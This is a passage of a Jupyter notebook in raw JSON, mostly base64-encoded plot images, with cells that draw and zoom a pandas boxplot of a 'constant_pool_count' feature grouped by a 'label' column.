pmZl2TmdzJzETBKMRJ+Stlk\n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\nB497MY45HI/nAAAAAElFTkSuQmCC\n", + "text": [ + "" + ] + } + ], + "prompt_number": 132 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### It's hard to see the detail, so we zoom in" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot(column='constant_pool_count', by='label')\n", + "plt.xlabel('')\n", + "plt.ylabel('Constant Pool Count')\n", + "plt.title('')\n", + "plt.suptitle('')\n", + "plt.ylim(0, 1000)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 133, + "text": [ + "(0, 1000)" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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